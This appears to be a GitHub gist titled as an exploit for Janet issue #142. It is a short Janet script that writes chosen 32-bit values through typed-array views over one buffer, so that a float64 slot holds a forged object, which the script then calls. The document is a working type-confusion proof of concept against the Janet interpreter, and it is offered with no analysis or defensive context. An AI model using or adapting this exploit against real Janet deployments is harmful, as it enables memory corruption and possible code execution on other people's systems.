Skip to content

Instantly share code, notes, and snippets.

@lionaneesh
Created April 1, 2021 03:14
Show Gist options
  • Save lionaneesh/f34aaaf90ccaf8ea80c1f0c848a871f4 to your computer and use it in GitHub Desktop.
Save lionaneesh/f34aaaf90ccaf8ea80c1f0c848a871f4 to your computer and use it in GitHub Desktop.
Janet Issue #142 exploit
(def buffer (tarray/buffer 8))
(def buffer-float64-view (tarray/new :float64 1 1 0 buffer))
(def buffer-uint32-view (tarray/new :uint32 2 1 0 buffer))
(set (buffer-uint32-view 1) 0xfffe9234)
(set (buffer-uint32-view 0) 0x56789abc)
(print "object: " (buffer-float64-view 0))
(print " type: " (type (buffer-float64-view 0)))
((buffer-float64-view 0))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment